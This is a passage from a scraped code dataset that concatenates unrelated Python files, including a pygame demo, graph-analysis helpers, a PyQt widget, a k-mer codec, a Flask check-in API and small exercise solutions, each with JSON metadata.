L<0.5: v2=L*(1+S)\n else: v2=L+S-S*L\n v1=2*L-v2\n R=255*_HUEtoRGB(v1,v2,H+1/3)\n G=255*_HUEtoRGB(v1,v2,H)\n B=255*_HUEtoRGB(v1,v2,H-1/3)\n return (int(R),int(G),int(B))\n\nclass Square(pygame.sprite.Sprite):\n def __init__(self, size=random.randint(50,200)):\n self.surf = pygame.surface.Surface((400, 400), pygame.SRCALPHA).convert_alpha()\n self.rect = self.surf.get_rect()\n self.pressed = False\n self.temp_surf = self.surf\n self.pressing = 0\n self.temp_height = self.rect.height\n self.reflected = False\n self.trample = False\n self.hue = random.random()\n self.saturation = random.random()\n self.draw(size)\n def draw(self, size):\n pygame.draw.polygon(self.surf, \n _HSLtoRGB(self.hue,self.saturation,0.8), \n (\n (200,300),\n (int(200+size*math.cos(math.pi/6)), int(300-size*math.sin(math.pi/6))),\n (200, 300-size),\n (int(200-size*math.cos(math.pi/6)), int(300-size*math.sin(math.pi/6)))\n ), \n )\n pygame.draw.polygon(self.surf,\n _HSLtoRGB(self.hue,self.saturation,0.75), \n (\n (200,300),\n (int(200+size*math.cos(math.pi/6)), int(300-size*math.sin(math.pi/6))),\n (int(200+size*math.cos(math.pi/6)), int(400-size*math.sin(math.pi/6))),\n (200,400)\n ),\n )\n pygame.draw.polygon(self.surf,\n _HSLtoRGB(self.hue,self.saturation,0.7), \n (\n (200,300),\n (int(200-size*math.cos(math.pi/6)), int(300-size*math.sin(math.pi/6))),\n (int(200-size*math.cos(math.pi/6)), int(400-size*math.sin(math.pi/6))),\n (200,400)\n ),\n )\n # 测试用\n def _change_color(self):\n self.hue = random.random()\n self.saturation = random.random() \n self.draw(random.randint(50,200)) \n def press(self):\n if self.pressed:\n if self.temp_height > self.rect.height-100:\n self.temp_height -= 1\n self.temp_surf = pygame.transform.scale(self.surf, (400, self.temp_height))\n self.pressing += 1\n else:\n if self.pressing:\n self.reflected = True\n def reflect(self):\n if self.reflected:\n self.temp_height += 5\n if self.temp_height > 400:\n self.temp_height = 400\n self.reflected = False\n self.temp_surf = pygame.transform.scale(self.surf, (400, self.temp_height))\n def printscreen(self, screen):\n screen.blit(self.temp_surf, (-20, 245+self.rect.height-self.temp_height))\ns = Square()\n \nclock = pygame.time.Clock()\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n mouse_pressed = pygame.mouse.get_pressed()\n chara.pressed = True if mouse_pressed[0] else False\n s.pressed = chara.pressed\n chara.press()\n s.press()\n chara.jump()\n s.reflect()\n\n screen.fill((255,255,255))\n s.printscreen(screen)\n chara.printscreen(screen)\n\n pygame.display.update()\n clock.tick(60)\n \n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"241291334","text":"import os\n\n\ndef app_path():\n return os.path.dirname(os.path.dirname(os.path.realpath(__file__)))\n\ndef walk(dir):\n data = []\n if not os.path.isdir(dir):\n return None\n dirlist = os.walk(dir)\n for root, dirs, files in dirlist:\n for file in files:\n name, ext = os.path.splitext(file)\n data.append((os.path.join(root, file), name, ext))\n return data\n\n\nif __name__ == '__main__':\n list = walk('c:/')\n for d in list:\n print(\"%s, %s, %s\" % d)\n print(len(list))\n","sub_path":"util/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"630386178","text":"from PyQt5.QtWidgets import *\nfrom PyQt5 import QtGui\n\nclass GetNewElement(QWidget):\n def __init__(self, parent):\n super(GetNewElement, self).__init__()\n self.parent = parent\n\n ##declare layouts\n hLayout1 = QHBoxLayout()\n\n ##declare component\n self.quantity = QSpinBox()\n self.btnVisible = QPushButton()\n self.elementName = QLineEdit()\n self.category = QComboBox()\n label1 = QLabel('$')\n self.price = QDoubleSpinBox()\n self.comments = QLineEdit()\n self.btnCloseElement = QPushButton()\n\n ##components configuration\n self.btnCloseElement.setIcon(QtGui.QIcon('Res/Icons/remove1.png'))\n self.btnVisible.setIcon(QtGui.QIcon('Res/Icons/visibleOn.png'))\n self.elementName.setPlaceholderText('Nombre')\n self.comments.setPlaceholderText('Descripción')\n self.price.setRange(0.0, 999.99)\n self.price.setMinimumWidth(25)\n self.category.setMaximumWidth(100)\n self.category.setMinimumWidth(80)\n self.comments.setMaximumWidth(100)\n self.quantity.setValue(1)\n\n ##declare structure\n hLayout1.addWidget(self.quantity)\n hLayout1.addWidget(self.btnVisible)\n hLayout1.addWidget(self.elementName)\n hLayout1.addWidget(self.category)\n hLayout1.addWidget(label1)\n hLayout1.addWidget(self.price)\n hLayout1.addWidget(self.comments)\n hLayout1.addWidget(self.btnCloseElement)\n\n self.setLayout(hLayout1)","sub_path":"venv/App/Layouts/QuoteActivity/getNewElement.py","file_name":"getNewElement.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"238023377","text":"import matplotlib.pyplot as plt\nfrom matplotlib.colors import CSS4_COLORS,BASE_COLORS,TABLEAU_COLORS\nfrom typing import List,Set,Tuple\n#import contextlib\nfrom ..helpers import working_directory\nimport sys\nfrom pathlib import Path\nfrom functools import lru_cache,reduce\nfrom copy import deepcopy\nfrom testinfrastructure.helpers import pe\nfrom .MVar import MVar\nfrom pygraphviz.agraph import AGraph\n#from pygraphviz import *\nimport networkx as nx\nfrom typing import List,Set,Tuple\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nimport plotly.io as pio\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\n# infrastructure to compute the graph that is used to compute source sets for a given set of Mvars\ndef powerlist(S):\n # We do not want to rely on the set union operation (which necessiates the creation of sets\n # in the first place which is a O(n^2) operation)\n # So we avoid the manyfold occurence of a sublit in the resultlist 'manually' by not creating\n # it in the first place\n # we start with an empty list\n initial=[[]]\n # and gradually enhance it\n return reduce(lambda acc,el:acc+[ subset +[el] for subset in acc],S,initial)\n\ndef node_2_string(node):\n return '{'+\",\".join([v.name for v in node])+'}'\n\ndef nodes_2_string(node):\n return '[ '+\",\".join([node_2_string(n) for n in node])+' ]'\n\ndef edge_2_string(e):\n return \"(\"+node_2_string(e[0])+','+node_2_string(e[1])+')'\n\ndef cartesian_product(l:List[Set])->Set[Tuple]:\n left_tupels=frozenset([tuple(el) for el in l[0]])\n if len(l)==1:\n return left_tupels\n else:\n right_tupels=cartesian_product(l[1:])\n return frozenset([lt+rt for lt in left_tupels for rt in right_tupels ])\n\ndef cartesian_union(l:List[Set])->Set[Set]:\n #pe('l',locals())\n return frozenset([frozenset(t) for t in cartesian_product(l)])\n\ndef remove_supersets_once(sets):\n key_func=lambda s:len(s)\n sets=sorted(sets,key=key_func)\n #print('Startnodes:')\n #print([node_2_string(val) for val in sets])\n #print('##############################:')\n\n minimal_sets=[]\n for n in sets:\n if not(any([m.issubset(n) for m in minimal_sets])):\n minimal_sets.append(n)\n\n return frozenset(minimal_sets)\n\ndef remove_supersets(sets):\n new_nodes=remove_supersets_once(sets)\n \n if new_nodes==sets:\n return(new_nodes)\n else:\n return remove_supersets(new_nodes)\n \ndef direct_predecessor_nodes(node:Set[MVar],allMvars,allComputers)->Set[Set[str]]:\n # assume that we want to compute a set of MVars (a node in out graph) from other sets of Mvars\n # let s_a be the set of nodes from which we can reach the set {a} (where a is a MVar} \n # and s_b the set of nodes from which we can reach the node {b} (where b is an Mvar\n # to reach the node set {a,b} we can combine any startnode from s_a with any startnode from s_b\n # in fact we can reach {a,b} from all nodes in the set {s: s=n_a v n_b for na in sa v {a} for nb in sb v {b} }\n # we call this set the 'cartesian_union(A,B) with A=s_a v {a} and B=s_b v {b} \n # This can be generalized to an arbitrary list of sets. We build the cartesian product of the sets A,B,... and then\n # transform every tupel of the product to a set (thereby removing the duplicates and order)\n res=cartesian_union(\n [ {frozenset({v})}.union(v.arg_set_set(allMvars,allComputers)) for v in node]\n )\n #pe('node',locals())\n\n # note that the cartesian product contains the original node\n # we remove all nodes that are just supersets of it\n # and afterwards the node itself\n #return res.difference(frozenset({node}))\n return remove_supersets(res).difference(frozenset({node}))\n\n\ndef update_step(G,extendable_nodes,allMvars,allComputers):\n \n # update the Graph by looking at the new_nodes and adding all their possible predecessors as new nodes \n # The nodes representing one-element sets have been already treated by the first step \n # (Thein predecessors found by their computers)\n # now we have to find the predecessors of the sets with more than one element\n # we do this by looking at the tensor product of the predecessor-sets of the elements\n G=deepcopy(G)\n present_nodes=frozenset(G.nodes)\n present_edges=frozenset(G.edges)\n new_global_nodes=frozenset({})\n for n in extendable_nodes:\n print('\\nextendable node:'+node_2_string(n))\n # it should actually be possible to infer the nodes that can \n # be computed from other nodes from the graph G alone\n # Up to now we only use the computability of mvars\n # Actually the graph could in later stages also provide information\n # about the computablitiy of sets (which is its main purpose after all)\n # but up to now we do not use this knowledge for constructing it.\n pns=direct_predecessor_nodes(n,allMvars,allComputers) # this function should also return the computers it used \n for pn in pns:\n G.add_node(pn) \n e=(pn,n)\n #if not(e in present_edges):\n if not(e in G.edges()):\n print('new_edge:'+edge_2_string(e))\n G.add_edge(pn,n) \n print('direct_predecessor_nodes:'+nodes_2_string(pns))\n arn=present_nodes.intersection(pns)\n print('allready known:'+nodes_2_string(arn))\n new_local_nodes= pns.difference(arn)\n new_global_nodes=new_global_nodes.union(new_local_nodes)\n print('new_local_node:'+nodes_2_string(new_global_nodes))\n\n print('new_global_nodes:'+nodes_2_string(new_global_nodes))\n #extendable_nodes=new_nodes\n #new_minimal_nodes=new_minimal_nodes#.difference(present_nodes)\n return (G,new_global_nodes)\n\ndef updated_Graph(G,extendable_nodes,allMvars,allComputers,counter=0):\n G_new,extendable_nodes_new=update_step(G,extendable_nodes,allMvars,allComputers)\n if len(extendable_nodes)==0: \n return (G,extendable_nodes)\n else:\n draw_Graph_png(G,\"updated_Graph\"+str(counter))\n return updated_Graph(G_new,extendable_nodes_new,allMvars,allComputers,counter+1)\n\ndef GraphsEqual(G1,G2):\n retval=True\n new_nodes=frozenset(G1.nodes).symmetric_difference(G2.nodes) \n new_edges=frozenset(G1.edges).symmetric_difference(G2.edges)\n if len(new_nodes)>0:\n #print(\"##############################\")\n #print(\"different nodes\")\n #print([node_2_string(n) for n in new_nodes])\n retval=False\n if len(new_edges)>0:\n #print(\"different edges\")\n #print([edge_2_string(e) for e in new_edges])\n retval=False\n return retval\n\ndef sparse_powerset_Graph(allMvars,allComputers):\n new_nodes=frozenset([frozenset({v}) for v in allMvars])\n G=nx.DiGraph()\n G.add_nodes_from(new_nodes)\n G_final,new_nodes=updated_Graph(G,new_nodes,allMvars,allComputers)\n # new_nodes is now empty \n return G_final\n\ndef draw_multigraph_graphviz(allMvars,allComputers):\n # build initial multigraph\n # for visualization draw the directed Multigraph with the MVars as nodes\n # unfortunately it is not useful for connectivity computations\n # since all 'edges' defined by a computer c are misleading in the sense that \n # we need the union of all the source variables of c to go to the target Mvar of c \n # while the arrows suggest ways from any of the arguments...\n # for visualization it would helpful to draw all arcs belonging to the same computer\n # in the same color.\n # Since we do not compute anything from this graph we actually do not need a graphlibrary\n # but can visualize it immediately with graphviz\n # We use a unique color for every computer\n #colordict=CSS4_COLORS\n colordict=TABLEAU_COLORS\n color_names=[n for n in colordict.keys()]\n computer_colors={c.name:color_names[i] for i,c in enumerate(allComputers)}\n A=AGraph(directed=True)\n A.node_attr['style']='filled'\n A.node_attr['shape']='circle'\n A.node_attr['fixedsize']='false'\n A.node_attr['fontcolor']='#FFFFFF'\n A.node_attr['color']='black'\n A.add_nodes_from([v.name for v in allMvars])\n cols=['blue','red','green','orange'] \n for v in allMvars:\n for c in v.computers(allComputers):\n ans=c.arg_name_set\n edges=[(an,v.name) for an in ans]\n for e in edges:\n A.add_edge(e)\n Ae=A.get_edge(e[0],e[1])\n Ae.attr['color']=colordict[computer_colors[c.name]]\n Ae.attr['fontcolor']=colordict[computer_colors[c.name]]\n Ae.attr['label']=c.name\n #print(A.string()) # print to screen\n A.draw('Multigraph.svg',prog=\"circo\") # draw using circo\n\ndef create_multigraph(allMvars,allComputers):\n G=nx.DiGraph()\n for v in allMvars:\n for c in v.computers(allComputers):\n ans=c.arg_name_set\n for an in ans:\n G.add_edge(\n an\n ,v.name\n ,computer=c\n )\n return G\n\ndef draw_multigraph_matplotlib(allMvars,allComputers):\n colordict=TABLEAU_COLORS\n color_names=[n for n in colordict.keys()]\n computer_colors={c.name:color_names[i] for i,c in enumerate(allComputers)}\n G=create_multigraph(allMvars,allComputers)\n # possibly create new Graph with text nodes\n g=G\n # create a colorlist for the edges using the computer attribute \n edgelist=[e for e in g.edges]\n computers=[g[e[0]][e[1]]['computer'] for e in edgelist]\n edge_color=[computer_colors[c.name] for c in computers]\n fig=plt.figure(figsize=(5,5))\n axes=fig.add_subplot(1,1,1)\n nx.draw_networkx(\n g\n ,edgelist=edgelist\n ,edge_color=edge_color\n ,ax=axes)\n fig.savefig(\"Multigraph_matplotlib.pdf\")\n\ndef draw_multigraph_plotly(allMvars,allComputers):\n # fixme mm:\n # Very immature, just a bearly adapted plotly example\n # We should:\n # - draw arrowheads (ExampleDirectedGraphPlotly.py for how to do it manually)\n # - color every computer (set of edges) with the same color and put it in the legend\n # - make the computername available as hover text\n # - we could do it in 3D easily which would realy make use of the interactiv possibiliteis\n\n\n # build initial multigraph\n # for visualization draw the directed Multigraph with the MVars as nodes\n # unfortunately it is not useful for connectivity computations\n # since all 'edges' defined by a computer c are misleading in the sense that \n # we need the union of all the source variables of c to go to the target Mvar of c \n # while the arrows suggest ways from any of the arguments...\n # for visualization it would helpful to draw all arcs belonging to the same computer\n # in the same color.\n # Since we do not compute anything from this graph we actually use the graphlibrary\n # only for convenience we could also use graphviz directly \n # We use a unique color for every computer\n #colordict=CSS4_COLORS\n \n #build the graph in the mathematical sense\n G=create_multigraph(allMvars,allComputers)\n\n # now compute a a position to the nodes\n pos_dict=nx.planar_layout(G, scale=1, center=None, dim=2)\n nx.set_node_attributes(G,pos_dict,'pos')\n\n colordict=TABLEAU_COLORS\n color_names=[n for n in colordict.keys()]\n computer_colors={c.name:color_names[i] for i,c in enumerate(allComputers)}\n # now plot it:\n pos=nx.get_node_attributes(G,'pos')\n\n #dmin=1\n #ncenter=0\n #for n in pos:\n # x,y=pos[n]\n # d=(x-0.5)**2+(y-0.5)**2\n # if dNetwork graph made with plotly,\n very incomplete yet. It seems easier to add legends, for the computer colors, \n but Arrows have to be drawn manually \n So we would have to create a scatter plot\n for each edge''',\n titlefont=dict(size=16),\n showlegend=False,\n hovermode='closest',\n margin=dict(b=20,l=5,r=5,t=40),\n annotations=[ dict(\n text=\"Python code: https://plot.ly/ipython-notebooks/network-graphs/\",\n showarrow=False,\n xref=\"paper\", yref=\"paper\",\n x=0.005, y=-0.002 ) ],\n xaxis=dict(showgrid=False, zeroline=False, showticklabels=False),\n yaxis=dict(showgrid=False, zeroline=False, showticklabels=False)))\n plot(fig,filename=\"Multigraph.html\") \n \n #py.iplot(fig, filename='networkx')\n\n #https://plot.ly/python/static-image-export/\n #pio.write_image(fig, 'fig1.svg')\n\ndef draw_Graph_png(G,file_name_trunk):\n # the next line is the standard translation \n # We could do this using the attributes of the edges to\n # make much niceer pictures representing the different computers in different\n # colors or annotate them....\n A=nx.nx_agraph.to_agraph(G)\n A=AGraph(directed=True)\n A.node_attr['style']='filled'\n A.node_attr['shape']='rectangle'\n A.node_attr['fixedsize']='false'\n A.node_attr['fontcolor']='black'\n \n for node in G.nodes:\n A.add_node(node_2_string(node))\n for edge in G.edges:\n A.add_edge(node_2_string(edge[0]),node_2_string(edge[1]))\n #print(A.string()) # print to screen\n #A.draw(file_name_trunk+'.png',prog=\"circo\") # draw to png using circo\n A.draw(file_name_trunk+'.svg',prog='circo') \n\ndef minimal_startnodes_for_single_var(\n spg:nx.Graph\n ,targetVar:MVar\n ):\n ''' spg is a sparse powerset Graph, which meeans that it only contains all one element'''\n # We first create a graph with the direction of the edges reversed\n targetSet=frozenset({targetVar})\n GR=spg.reverse()\n res=[p for p in nx.all_pairs_shortest_path(GR) if p[0]==targetSet]\n possible_startnodes=frozenset([n for n in res[0][1].keys()])\n print(\"possible_startnodes for including supersets\",node_2_string(targetSet),[node_2_string(n) for n in possible_startnodes])\n minimal_startnodes=remove_supersets(possible_startnodes)\n minimal_startnodes=[n for n in filter(lambda n: not(n.issuperset(targetSet)),minimal_startnodes)]\n return frozenset(minimal_startnodes)\n \n\ndef minimal_startnodes_for_node(\n spg:nx.Graph\n ,targetNode:Set[MVar]\n ):\n single_sets=[\n minimal_startnodes_for_single_var(spg,var) for var in targetNode\n ]\n possible_startnodes=cartesian_union(single_sets)\n minimal_startnodes=remove_supersets(possible_startnodes)\n return frozenset(minimal_startnodes)\n \n def filter_func(n):\n # remove every set that contains one of the variables we are looking for ...\n return not(any([ (v in n) for v in targetNode]))\n\n minimal_startnodes=[n for n in filter(filter_func,minimal_startnodes)]\n","sub_path":"bgc_md/resolve/graph_helpers.py","file_name":"graph_helpers.py","file_ext":"py","file_size_in_byte":16417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"442693415","text":"SP = 0\nSIP = 0\nNP = 0\nfor i in range(1,271,1):\n N=int(input(\"ingrese un numero entero\"))\n if N != 0:\n if (N**(-1))>0:\n SP += N\n NP += 1\n else:\n SP += N\nPP=SP/NP\nprint(f\"El promedio de los pares es { PP } y la suma de los impares es { SIP }\")\n\n","sub_path":"libro/problemas_resueltos/capitulo3/problema3_1.py","file_name":"problema3_1.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"23985266","text":"import os\nimport subprocess\nfrom getbenchmarks import *\n\ndef hcomp_bench():\n dat = {}\n\n for f in getbenchmarks():\n print(\"{} runtime: \".format(f), end=\"\", flush=True)\n \n process = subprocess.Popen([\"../browser/browser.bin\", \"./build/{}\".format(f)], stdout=subprocess.PIPE)\n (out, e) = process.communicate()\n exit_code = process.wait()\n\n outstr = out.decode(\"utf-8\")\n dat[f] = float(outstr) * 1000\n print(dat[f], end=\" ms\\n\")\n\n return dat","sub_path":"polybenchc/hcomp.py","file_name":"hcomp.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"424257448","text":"from codec8 import encode, decode\nimport pykmer.container as container\nfrom pykmer.exceptions import MetaDataIncompatible\n\nmeta = {\n 'type' : 'k-mer set',\n 'version' : 20160930,\n 'K' : None\n}\n\ndef write(K, xs, nm, extra = None):\n \"write a sorted sequence of kmers in a compressed format\"\n m = meta.copy()\n m['K'] = K\n if extra is not None:\n for (k, v) in extra.items():\n if k in m and m[k] != v:\n raise MetaDataIncompatible(k, m[k], v)\n m[k] = v\n f = container.make(nm, m)\n p = 0\n for x in xs:\n assert x == 0 or p < x\n d = x - p\n bs = bytearray(encode(d))\n f.write(bs)\n p = x\n\ndef read0(itr):\n x = 0\n while True:\n try:\n x += decode(itr)\n yield x\n except StopIteration:\n return\n\ndef read(nm):\n \"read a sorted sequence of kmers from a compressed format\"\n (m, itr) = container.probe(nm, meta)\n return (m, read0(itr))\n\ndef probeK(nm):\n (m, itr) = container.probe(nm, meta)\n return m['K']\n","sub_path":"pykmer/kset.py","file_name":"kset.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"375211721","text":"import unittest\n\nfrom AccessControl.SecurityManagement import newSecurityManager\n\nfrom Products.PythonScripts.PythonScript import manage_addPythonScript\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom base import RememberTestBase\nfrom base import makeContent\n\nclass TestWorkflow(RememberTestBase):\n\n def setupWorkflowScript(self):\n \"\"\"Setup a dummy workflow script on the plone workflow.\"\"\"\n wftool = getToolByName(self.portal, 'portal_workflow')\n manage_addPythonScript(wftool.plone_workflow.scripts, 'dummy')\n wftool.plone_workflow.scripts.dummy.ZPythonScript_edit(\n 'state_change', '')\n trans = wftool.plone_workflow.transitions.publish\n trans.script_name = 'dummy'\n \n def test_WorkflowScript(self):\n \"\"\"Make sure that workflows with scripts play nicely with\n remember members.\"\"\"\n self.login('admin_member')\n self.setupWorkflowScript()\n wftool = getToolByName(self.portal, 'portal_workflow')\n doc = makeContent(self.portal, 'test_doc', 'Document')\n wftool.doActionFor(doc, 'publish')\n self.assertEqual(wftool.getInfoFor(doc, 'review_state'),\n 'published')\n\ndef test_suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(TestWorkflow))\n return suite\n","sub_path":"site/remember/tests/test_workflow.py","file_name":"test_workflow.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"369515118","text":"import glob\nimport pickle\n\n\"\"\"\nweb_app用に修正されたID付与プログラム\n\"\"\"\n\ndef give_id(sentence, polarity):\n \n term_id = {}\n \n for name in glob.glob('/home/ubuntu/posi-nega-twt-wakati/*'):\n try:\n with open(name, 'r') as f:\n tweet = f.read()\n term = tweet.split() \n except Exception as e:\n print(e)\n continue\n\n for t in term:\n if term_id.get(t) is None:\n term_id[t] = len(term_id) + 1\n\n with open('term_id.pkl', 'wb') as t:\n t.write( pickle.dumps(term_id) )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"web_app/blueprints/work/giveId.py","file_name":"giveId.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"381662161","text":"class Solution(object):\n def missingNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n i, m = 0, set(nums)\n while True:\n if i not in m:\n return i\n i += 1\n\n\n# Contant space\nclass Solution(object):\n def missingNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n l = len(nums)\n for i in range(l):\n while i != nums[i] and nums[i] < l:\n n = nums[i]\n nums[i], nums[n] = nums[n], nums[i]\n for i, n in enumerate(nums):\n if n != i:\n return i\n return l\n","sub_path":"Missing Number.py","file_name":"Missing Number.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"375830543","text":"import sys\nsys.path.append('/Users/kiriyamakeisuke/oruche/shopdata_api')\nimport narrow_shop_candidates\nfrom flask import Flask, request, jsonify, g, flash\nimport sqlite3\nfrom contextlib import closing\nimport json\n\nDATABASE = '../db/checkin.db'\nDEBUG = True\nSECRET_KEY = 'development key'\nUSERNAME = 'admin'\nPASSWORD = 'default'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n\ndef connect_db():\n return sqlite3.connect(app.config['DATABASE'])\n\n\ndef init_db():\n with closing(connect_db()) as db:\n with app.open_resource('schema.sql', mode='r') as f:\n db.cursor().executescript(f.read())\n db.commit()\n\n\ndef convert_json(candidates):\n candidates_dict = {}\n for i, candidate in enumerate(candidates):\n #candidates_dict[i] = candidate + \"\\n\"\n candidates_dict[i] = candidate\n candidates_json = json.dumps(candidates_dict,indent = 2, ensure_ascii=False)\n return candidates_json\n\n\n@app.before_request\ndef before_request():\n g.db = connect_db()\n\n\n@app.teardown_request\ndef teardown_request(exception):\n db = getattr(g, 'db', None)\n if db is not None:\n db.close()\n\n\n@app.route('/ping', methods=['GET'])\ndef ping():\n return jsonify({\"message\": \"ok\"})\n\n\n@app.route('/narrow', methods=['POST'])\ndef narrow():\n candidates = narrow_shop_candidates.narrow_shop_candidates(request.form['longitude'], request.form['latitude'], 1)\n print(candidates)\n candidates_json = convert_json(candidates)\n return candidates_json\n\n\n@app.route('/add', methods=['POST'])\ndef add_checkin_data():\n g.db.execute('insert into entries (user_name, shop_name) values (?, ?)', [request.form['user_name'], request.form['shop_name']])\n g.db.commit()\n flash('新しいデータが追加されました')\n return jsonify({'user_name': request.form['user_name'], 'shop_name': request.form['shop_name']})\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","sub_path":"program/server_side.py","file_name":"server_side.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"356258947","text":"class MyQueue:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.stack = [] # only uses append() and pop() to simulate stack\n self.stack_help = []\n \n\n def push(self, x):\n \"\"\"\n Push element x to the back of queue.\n :type x: int\n :rtype: void\n \"\"\"\n self.stack.append(x)\n \n\n def pop(self):\n \"\"\"\n Removes the element from in front of queue and returns that element.\n :rtype: int\n \"\"\"\n if not self.stack:\n return None\n else:\n while self.stack:\n elet = self.stack.pop() # pops the last elet\n self.stack_help.append(elet)\n felet = self.stack_help.pop() # front elet becomes last in help stack\n \n while self.stack_help:\n elet = self.stack_help.pop()\n self.stack.append(elet)\n return felet\n \n\n def peek(self):\n \"\"\"\n Get the front element.\n :rtype: int\n \"\"\"\n if not self.stack:\n return None\n else:\n felet = self.stack[0]\n return felet\n \n\n def empty(self):\n \"\"\"\n Returns whether the queue is empty.\n :rtype: bool\n \"\"\"\n if not self.stack:\n return True\n else:\n return False\n \n\n\n# Your MyQueue object will be instantiated and called as such:\n# obj = MyQueue()\n# obj.push(x)\n# param_2 = obj.pop()\n# param_3 = obj.peek()\n# param_4 = obj.empty()\n","sub_path":"stack/232_e_imp_queue_usiing_stack.py","file_name":"232_e_imp_queue_usiing_stack.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"143829874","text":"# coding:utf-8\n\n\n\"\"\"\nファイルアクセスを制御する\n\"\"\"\n\nimport chardet\n\n__author__ = \"t.ebinuma\"\n__version__ = \"1.0\"\n__date__ = \"19 March 2018\"\n\n\ndef get_file_encoding(file_path):\n \"\"\"\n ファイルの文字コードを取得する\n \"\"\"\n # ファイルの文字コードを取得する\n with open(file_path, mode='rb') as f:\n fb = f.read()\n charset = chardet.detect(fb)\n\n # UTF-8(BOM含む)の場合は文字コードを返す\n if charset['encoding'] == 'utf-8' or charset['encoding'] == 'UTF-8-SIG':\n return charset['encoding']\n\n # utf-8以外はNoneで返す\n # (ShiftJISの場合はWindows-1254やISO-8859-2を優先する挙動になる)\n return None\n\n\ndef is_exists_str(file_path, find_str):\n \"\"\"\n ファイル内に指定された文字が含まれているかをチェックする\n \"\"\"\n # ファイルを読み込む\n with open(file_path, mode='r', encoding='UTF-8') as f:\n lines = f.readlines()\n for line in lines:\n if line.find(find_str) >= 0:\n return True\n return False\n","sub_path":"app/util/file_access.py","file_name":"file_access.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"399244124","text":"\"\"\"\nAnalyze and Report ECM Alerts.\n\"\"\"\n\nimport collections\nimport humanize\nimport sys\nfrom . import base\n\n\ndef since(dt):\n \"\"\" Return humanized time since for an absolute datetime. \"\"\"\n since = dt.now(tz=dt.tzinfo) - dt\n return humanize.naturaltime(since)[:-4]\n\n\nclass Alerts(base.ECMCommand):\n \"\"\" Analyze and Report ECM Alerts \"\"\"\n\n name = 'alerts'\n\n def setup_args(self, parser):\n self.add_argument('-e', '--expand', action='store_true',\n help=\"Expand each alert\")\n\n def run(self, args):\n by_type = collections.OrderedDict()\n alerts = self.api.get_pager('alerts', order_by='-created_ts')\n msg = \"\\rCollecting new alerts: %5d\"\n print(msg % 0, end='')\n sys.stdout.flush()\n for i, x in enumerate(alerts):\n print(msg % i, end='')\n sys.stdout.flush()\n try:\n ent = by_type[x['alert_type']]\n except KeyError:\n ent = by_type[x['alert_type']] = {\n \"records\": [x],\n \"newest\": x['created_ts'],\n \"oldest\": x['created_ts'],\n }\n else:\n ent['records'].append(x),\n ent['oldest'] = x['created_ts']\n print()\n data = [('Alert Type', 'Count', 'Most Recent', 'Oldest')]\n data.extend((\n name,\n len(x['records']),\n since(x['newest']),\n since(x['oldest'])\n ) for name, x in by_type.items())\n self.tabulate(data)\n\ncommand_classes = [Alerts]\n","sub_path":"ecmcli/commands/alerts.py","file_name":"alerts.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"561079809","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport my_ga_1\nimport datetime as dt \nimport pandas as pd \nimport matplotlib.dates as mdates\nfrom matplotlib.pyplot import grid\nfrom matplotlib.ticker import AutoMinorLocator\n\n\nfinal_current_6 = np.array([32.41125946, 34.61013761, 30.58773186, 28.56292964, 30.12231385, 40.8055005,\n 51.61275824, 75.95896465, 33.62291529, 65.34592046, 80.01226714, 70.15005758,\n 43.98419406 ,55.8972883, 18.47306499, 22.93805272, 33.2786817 , 65.23734915,\n 78.74424822, 67.7273251, 60.82271378, 54.7171954, 63.13220668, 63.23620169])\n\n\n# for i in range(len(final_current)-1):\n# #print(final_current[i+1])\n# #print(final_current[i])\n# if abs(final_current[i+1] - final_current[i]) < 20:\n# final_current[i] = (final_current[i+1] + final_current[i])*0.5 \n# final_current[i+1] = final_current[i]\n\n\n\nfinal_current_5 = np.array ([ 4.83201068 ,67.38872027, 86.16222809, 47, 47, 47,\n 75, 85.7900483, 75, 80, 80, 80,\n 75, 80, 80, 60,60,60, 30,0,0, 0,0,0])\n\ngrid_limit_5= 